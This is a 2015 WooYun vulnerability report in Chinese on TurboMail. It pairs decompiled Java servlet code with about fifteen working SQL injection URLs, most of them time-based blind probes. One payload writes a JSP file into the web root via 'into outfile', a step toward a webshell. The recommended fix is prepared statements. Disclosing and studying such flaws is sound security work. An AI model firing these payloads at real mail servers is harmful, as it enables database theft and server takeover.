当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0128702

漏洞标题:TurboMail邮箱系统十多处sql注入打包(需要登录)

相关厂商:turbomail.org

漏洞作者: 牛肉包子

提交时间:2015-07-23 17:23

修复时间:2015-10-26 17:25

公开时间:2015-10-26 17:25

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-23: 细节已通知厂商并且等待厂商处理中
2015-07-28: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-09-21: 细节向核心白帽子及相关领域专家公开
2015-10-01: 细节向普通白帽子公开
2015-10-11: 细节向实习白帽子公开
2015-10-26: 细节向公众公开

简要描述:

jsp审计第一发

详细说明:

这段时间学了一点jsp,然后就拿来使一使。
这个邮箱的影响范围就不在重复叙述了,详情看以前大牛发的漏洞
WooYun: TurboMail邮箱系统默认配置不当可进入任意邮箱及获取管理员密码(官网也中招及大量实例)
我们首先反编译class文件,可以得知AjaxMain是全局控制类,当type是不同值时,就会调用不同的类和对应方法,对请求数据进行处理。并且看一下访问控制,发现使用session获得一个get方式传入的sessionid进行身份确认,当用户登录后会创建一个表示用户身份的sessionid,每次请求时,都会携带该数据表示用户已经登录.
--------------------------------------------------------------------------------------------------------------------------------------------------
首先我们反编译turbomail.jar
看到turbomail\bulletin\BulletinAjax.java
在这个servlet里面

public static void list(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException
{
MailSession ms = WebUtil.getms(request, response);
if (ms == null) {
AjaxUtil.ajaxFail(request, response, "info.nologin", null);
return;
}
UserInfo userinfo = ms.userinfo;
ArrayList list = null;
int page = 1;
String spage = WebUtil.getParameter(request, true, "page");
if (spage != null)
page = Util.getInt4String(spage);
int perpage = 10;
String sperpage = WebUtil.getParameter(request, true, "perpage");
if (sperpage != null) {
perpage = Util.getInt4String(sperpage);
}
String bulletintype = WebUtil.getParameter(request, true, "bulletin_type_search"); //注入1
String subject = WebUtil.getParameter(request, true, "subject_search");//注入2
String context = WebUtil.getParameter(request, true, "context_search");//注入3
String domain = WebUtil.getParameter(request, true, "domain");//注入4
String publisher = WebUtil.getParameter(request, true, "publisher_search");//注入5
String publishtime = WebUtil.getParameter(request, true, "publishtime_search");//注入6
String subtype = WebUtil.getParameter(request, true, "subtype"); //注入7
String sender = null;
if ("listself".equals(subtype)) {
sender = ms.userinfo.getUseraccount_str();
if ("postmaster@root".equals(ms.userinfo.getUseraccount_str())) {
sender = null;
}
}
list = BulletinUtil.getBulletinlistByCondi(bulletintype, subject,
context, publisher, publishtime, domain, sender, page, perpage);
int total = BulletinUtil.getTotal(bulletintype, subject, context, publisher, publishtime, domain, sender);
Set readBulletins = BulletinUtil.findBulletinByAccount(userinfo.getUseraccount_str());
if (list != null) {
for (int i = 0; i < list.size(); ++i) {
BulletinItem bi = (BulletinItem)list.get(i);
if ((bi == null) ||
(!(readBulletins.contains(bi.id)))) continue;
bi.isRead = 1;
}
}
HashMap hmap = new HashMap();
hmap.put("total", new Integer(total));
hmap.put("list", list);
hmap.put("ms", ms);
JSONObject jsonObj = makeJSON(hmap);
response.getWriter().write(jsonObj.toString());
}


然后我们跟进 BulletinUtil这个对象里面的getTotal方法

public static int getTotal(String type, String subject, String context, String publisher, String publishtime, String domain, String sender)
{
int iTotal = 0;
String strSql = "select count(id) as c from bulletin where 1=1 ";
if ((domain != null) && (!("".equals(domain)))) {
strSql = strSql + " and (domain='' or domain='" + domain + "') ";
}
if ((type != null) && (!("".equals(type)))) {
strSql = strSql + " and subtype=" + type.trim() + " ";
}
if ((subject != null) && (!("".equals(subject)))) {
strSql = strSql + " and subject like'%" + subject.trim() + "%'";
}
if ((context != null) && (!("".equals(context)))) {
strSql = strSql + " and context like'%" + context.trim() + "%'";
}
if ((publisher != null) && (!("".equals(publisher)))) {
strSql = strSql + " and publisher like'%" + publisher.trim() + "%'";
}
if ((publishtime != null) && (!("".equals(publishtime)))) {
SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd");
Date date = null;
long dateL = 0L;
try {
date = sdf.parse(publishtime);
dateL = date.getTime();
}
catch (ParseException e) {
e.printStackTrace();
}
strSql = strSql + "and publishtime >=" + dateL;
}
if ((sender != null) && (!("".equals(sender)))) {
strSql = strSql + " and sender ='" + sender.trim() + "'";
}
Connection conn = null;
Statement stm = null;
ResultSet rs = null;
try {
conn = BulletinDB.getConnection();
stm = conn.createStatement();
rs = stm.executeQuery(strSql);
if (rs.next())
iTotal = rs.getInt("c");
}
catch (Exception localException) {
}
BulletinDB.close(rs, stm, conn);
return iTotal;
}


可以看到这里的数据库操作没有用到占位符,也是就没有预编译,然后造成sql注入。其中
bulletintype subject context domain publisher publisher 这些变量都可以注入。
我选择domain演示

http://127.0.0.1:8080/tmw/7/mailmain?type=getBulletin&sessionid=4e64aa7H1_0&intertype=ajax&domain=1') union select if(substr(user(),1,1)='r',sleep(2),1)%23


其中sessionid=4e64aa7H1_0 是登陆后系统分配的id

QQ截图20150723161543.png


延时2S。
这个邮件系统的mysql账号是root的,所以在windows本版本中可以写shell。

http://127.0.0.1:8080/tmw/7/mailmain?type=getBulletin&sessionid=4e64aa7H1_0&intertype=ajax&domain=1') union select '1111' into outfile 'C:\\turbomail\\web\\webapps\\root\\2.jsp'%23


--------------------------------------------------------------------------------------------------------------------------------------------------
看到turbomail\bulletin\BulletinAjax.java

public static void show(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException
{
MailSession ms = WebUtil.getms(request, response);
if (ms == null) {
AjaxUtil.ajaxFail(request, response, "info.nologin", null);
return;
}
UserInfo userinfo = ms.userinfo;
if (userinfo == null) {
AjaxUtil.ajaxFail(request, response, "info.loginfail", null);
return;
}
getMsg(request, response);
Message msg = null;
msg = (Message)ms.getAttribute("bulletinmsg");
JSONObject jsonMsg = new JSONObject();
try
{
jsonMsg.put("ret_code", 0);
jsonMsg.put("attach", getAttachJson(ms, msg));
} catch (Exception localException) {
}
response.getWriter().write(jsonMsg.toString());
}


然后跟进 getMsg(request, response);

private static void getMsg(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException
{
MailSession ms = WebUtil.getms(request, response);
if (ms == null) {
AjaxUtil.ajaxFail(request, response, "info.nologin", null);
return;
}
UserInfo userinfo = ms.userinfo;
if (userinfo == null) {
AjaxUtil.ajaxFail(request, response, "info.loginfail", null);
return;
}
String id = WebUtil.getParameter(request, true, "id"); //注入8
BulletinItem bi = BulletinUtil.getBulletinItem(id);
if (bi != null) {
ms.removeBulletinMsg(id);
}
StringBuffer sb = new StringBuffer();
String bulletinpath = BulletinUtil.getBulletinPath();
sb.append(bulletinpath);
if ((bi.domain.equals("")) || (bi.domain.equals("root"))) {
sb.append(SysConts.FILE_SEPARATOR);
sb.append("public");
} else {
sb.append(SysConts.FILE_SEPARATOR);
sb.append("domain");
sb.append(SysConts.FILE_SEPARATOR);
sb.append(bi.domain);
}
sb.append(SysConts.FILE_SEPARATOR);
sb.append(bi.msgid);
String strMailFolderPath = sb.toString();
String prefix = ms.temp_path;
String path = prefix + SysConts.FILE_SEPARATOR + userinfo.getUid() +
"@" + userinfo.domain;
File file = new File(path);
if ((!(file.exists())) || (!(file.isDirectory()))) {
file.mkdir();
}
path = path + SysConts.FILE_SEPARATOR + "bulletin";
file = new File(path);
if ((!(file.exists())) || (!(file.isDirectory()))) {
file.mkdir();
}
path = path + SysConts.FILE_SEPARATOR + bi.id;
file = new File(path);
if ((!(file.exists())) || (!(file.isDirectory()))) {
file.mkdir();
}
String href_prefix = "temp/" + ms.session_id + "/" + userinfo.getUid() +
"@" + userinfo.domain + "/bulletin/" + bi.id + "/";
File flMsg = new File(strMailFolderPath);
if (!(flMsg.exists())) {
ms.removeAttribute("bulletinItem");
ms.removeAttribute("bulletinid");
ms.removeAttribute("bulletinmsg");
return;
}
Message msg = null;
String strTempMsgFile = flMsg.getAbsolutePath();
msg = new Message(Message.MSG_MAILDIR);
msg.m_Session_id = ms.session_id;
msg.m_iMsgid = id;
msg.m_Mbtype = "bulletin";
if (ms != null)
{
msg.m_Session_id = ms.session_id;
}
try
{
int i = msg.OpenWholeHref(strTempMsgFile, path, href_prefix);
} catch (Exception localException1) {
}
ms.removeAttribute("bulletinItem");
ms.removeAttribute("bulletinid");
ms.removeAttribute("bulletinmsg");
ms.setAttribute("bulletinmsg", msg);
ms.setAttribute("bulletinid", id);
ms.setAttribute("bulletinItem", bi);
}


然后跟进BulletinUtil.getBulletinItem方法

public static BulletinItem getBulletinItem(String id)
{
if (id == null) {
return null;
}
String strSql = "select id ,context,sender,domain,itype ,sendtime ,subject,subtitle,subtype,msgid,attach ,readnum ,publisher,publishtime,context from bulletin where id='" +
id + "'";
Connection conn = null;
BulletinItem bi = null;
Statement stm = null;
ResultSet rs = null;
try {
conn = BulletinDB.getConnection();
stm = conn.createStatement();
rs = stm.executeQuery(strSql);
if (rs.next()) {
bi = new BulletinItem();
bi.id = rs.getString("id");
bi.subject = rs.getString("subject");
bi.subtitle = rs.getString("subtitle");
bi.subtype = rs.getInt("subtype");
bi.msgid = rs.getString("id");
bi.sender = rs.getString("sender");
bi.domain = rs.getString("domain");
bi.iType = rs.getInt("itype");
bi.sendtime = Util.getDateFromLong(rs.getLong("sendtime"));
bi.attach = rs.getInt("attach");
bi.readnum = rs.getInt("readnum");
bi.publishtime = Util.getDateFromLong(rs.getLong("publishtime"));
bi.subtitle = rs.getString("subtitle");
bi.context = rs.getString("context");
bi.publisher = rs.getString("publisher");
bi.filesize = bi.getFileSize();
}
}
catch (Exception e) {
e.printStackTrace();
}
BulletinDB.close(rs, stm, conn);
return bi;
}


很明显id存在注入。

http://127.0.0.1:8080/tmw/7/mailmain?type=showBulletin&sessionid=4e64aa7H1_0&intertype=ajax&id=-1%27%20union%20select%20if(substr(user(),1,1)=%27r%27,sleep(2),1),2,3,4,5,6,7,8,9,10,11,12,13,14,user()%23


QQ截图20150723162326.png


--------------------------------------------------------------------------------------------------------------------------------------------------
看到turbomail\bulletin\BulletinAjax.java

public static void showContent(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException
{
MailSession ms = WebUtil.getms(request, response);
if (ms == null) {
XInfo.gotoInfo(null, request, response, "info.nologin", null, 0);
return;
}
UserInfo userinfo = ms.userinfo;
if (userinfo == null) {
XInfo.gotoInfo(ms, request, response, "info.loginfail", null, 0);
return;
}
StringBuffer sbEncode = new StringBuffer();
String strContent = "";
String sEncoding = "";
String subtype = WebUtil.getParameter(request, true, "subtype");
if ("preview".equals(subtype)) {
sEncoding = SysConts.New_InCharSet;
strContent = WebUtil.getParameter(request, true, "content");
if (strContent == null)
strContent = "";
}
else {
String id = WebUtil.getParameter(request, true, "id");
String href_prefix = "temp/" + ms.session_id + "/" + userinfo.getUid() +
"@" + userinfo.domain + "/bulletin/" + id + "/";
getMsg(request, response);
BulletinItem bi = (BulletinItem)ms.getAttribute("bulletinItem");
if (bi != null) {
BulletinUtil.updateBulletinReadNum(bi.id, bi.readnum);
BulletinUtil.saveReadLog(bi.id, userinfo.getUseraccount_str());
}
Message msg = null;
msg = (Message)ms.getAttribute("bulletinmsg");
if (msg == null) {
return;
}
strContent = msg.GetShowMsg(href_prefix, 0, true, sbEncode, null);
sEncoding = sbEncode.toString();
}
if ((strContent != null) && (strContent.indexOf("<div style=\"padding:0 5%;\">") < 0)) {
strContent = "<div style=\"padding:0 5%;\">" + strContent + "</div>";
}
try
{
if (sEncoding == null) {
sEncoding = ServerConf.s_Default_Encoding;
}
else if (sEncoding.equals("")) {
sEncoding = ServerConf.s_Default_Encoding;
}
sEncoding = Util.getCharset(sEncoding);
response.setContentType("text/html;charset=" + sEncoding);
response.setHeader("Cache-Control", "no-cache");
response.setHeader("Pragma", "no-cache");
response.setDateHeader("Expires", 0L);
response.setHeader("Content-Type", "text/html;charset=" + sEncoding);
OutputStream os = response.getOutputStream();
byte[] bsContent = null;
try {
strContent = Util.wordFilter(strContent);
strContent = wordFilter(strContent);
bsContent = strContent.getBytes(sbEncode.toString());
} catch (Exception e) {
bsContent = strContent.getBytes(SysConts.New_InCharSet);
}
os.write(bsContent);
os.close();
} catch (Exception e) {
e.printStackTrace();
}
}


这儿都存在注入
BulletinUtil.updateBulletinReadNum(bi.id, bi.readnum);
BulletinUtil.saveReadLog(bi.id, userinfo.getUseraccount_str());

http://127.0.0.1:8080/tmw/7/mailmain?type=showBulletinContent&intertype=ajax&sessionid=4e64aa7H1_0&id=1%27%20union%20select%201,if(substr(user(),1,1)=%27r%27,sleep(2),1),3,4,5,6,7,8,9,10,11,12,13,14,15%23


QQ截图20150723162908.png


注入9

http://127.0.0.1:8080/tmw/7/mailmain?type=getBulletin&sessionid=4e64aa7H1_0&intertype=ajax&bulletin_type_search=1%20or%20sleep(2)


注入10

http://127.0.0.1:8080/tmw/7/mailmain?type=delBulletin&sessionid=4e64aa7H1_0&intertype=ajax&domain=1&id=1%27%20or%20sleep(2)%23


注入11
看到turbomail\bookmark\BookmarkTreeServlet.java

public static void delete(boolean bAjax, HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException
{
MailSession ms = WebUtil.getms(request, response);
if (ms == null) {
if (bAjax)
AjaxUtil.ajaxFail(request, response, "info.nologin", null);
else {
XInfo.gotoInfo(null, request, response, "info.nologin", null, 0);
}
return;
}
UserInfo userinfo = ms.userinfo;
if (userinfo == null) {
if (bAjax)
AjaxUtil.ajaxFail(request, response, "info.loginfail", null);
else {
XInfo.gotoInfo(ms, request, response, "info.loginfail", null, 0);
}
return;
}
String id = request.getParameter("id");
try
{
bookmarkTreeManager.delBookmarkTree(id);
} catch (Exception e) {
e.printStackTrace();
}
if (bAjax)
AjaxUtil.ajaxSuccess(request, response, "info.delpathsuccess", "bookmark.jsp");
else
XInfo.gotoInfo(ms, request, response, "info.delpathsuccess", null, 0);
}


id可以注入

private void delTreeNodeById(Connection conn, String id, String username, String domain)
throws SQLException
{
String sql = "delete from t_bookmarktree where username='" + username +
"' and domain='" + domain + "' and f_id=" + id;
Statement stmt = null;
try {
stmt = conn.createStatement();
stmt.executeUpdate(sql);
this.bookmarkManager.delByBookmarTreeId(id);
} finally {
BookmarkTreeDB.close(stmt);
}
}


http://127.0.0.1:8080/tmw/7/mailmain?type=deleteBookmarkNode&sessionid=4e64aa7H1_0&intertype=ajax&id=1%20or%20sleep(2)%23


注入12

http://127.0.0.1:8080/tmw/7/mailmain?type=getBookmarkChildNode&sessionid=4e64aa7H1_0&intertype=ajax&folderid=1%20union%20select%20sleep(2)%23


注入13

http://127.0.0.1:8080/tmw/7/mailmain?type=deleteBookmark&sessionid=4e64aa7H1_0&intertype=ajax&bookmarkname=xxx&bookmarkcontent=xxx&ids=-1)%20or%20sleep(2)%23


注入14

http://127.0.0.1:8080/tmw/7/mailmain?type=addBookmarkNode&sessionid=4e64aa7H1_0&intertype=ajax&name=xxx%27&bookmarkcontent=xxx%27


QQ截图20150723163618.png


注入15

http://127.0.0.1:8080/tmw/7/mailmain?type=updateBookmarkNode&sessionid=4e64aa7H1_0&intertype=ajax&name=xxx%27&bookmarkcontent=xxx%27

漏洞证明:

http://127.0.0.1:8080/tmw/7/mailmain?type=getBulletin&sessionid=4e64aa7H1_0&intertype=ajax&domain=1') union select if(substr(user(),1,1)='r',sleep(2),1)%23


其中sessionid=4e64aa7H1_0 是登陆后系统分配的id

QQ截图20150723161543.png


延时2S。
这个邮件系统的mysql账号是root的,所以在windows本版本中可以写shell。

http://127.0.0.1:8080/tmw/7/mailmain?type=getBulletin&sessionid=4e64aa7H1_0&intertype=ajax&domain=1') union select '1111' into outfile 'C:\\turbomail\\web\\webapps\\root\\2.jsp'%23


其余类似

修复方案:

预编译

版权声明:转载请注明来源 牛肉包子@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-10-26 17:25

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

2015-08-16:本漏洞已经在更新补丁修复了

2015-08-16:官网目前下载版本暂时不包含该补丁修正,需要额外进行修正


漏洞评价:

评论

  1. 2015-07-23 17:26 | %270x5c ( 实习白帽子 | Rank:72 漏洞数:26 | 乌拉拉)

    $$$$$

  2. 2015-07-23 17:39 | 贫道来自河北 ( 普通白帽子 | Rank:1447 漏洞数:438 | 一个立志要把乌云集市变成零食店的男人)

    要是不用登录就牛逼啦

  3. 2015-07-23 17:41 | 牛肉包子 ( 普通白帽子 | Rank:254 漏洞数:64 )

    @贫道来自河北 jsp太菜了。看得我蛋疼

  4. 2015-07-23 17:47 | answer ( 普通白帽子 | Rank:367 漏洞数:47 | 答案)

    溜溜

  5. 2015-07-29 21:11 | f4ckbaidu ( 普通白帽子 | Rank:189 漏洞数:25 | 开发真是日了狗了)

    牛肉包子、、、口水出来了

  6. 2015-09-11 17:14 | 康小泡 ( 路人 | Rank:0 漏洞数:1 | 掉个offer给我吧)

    $$$$$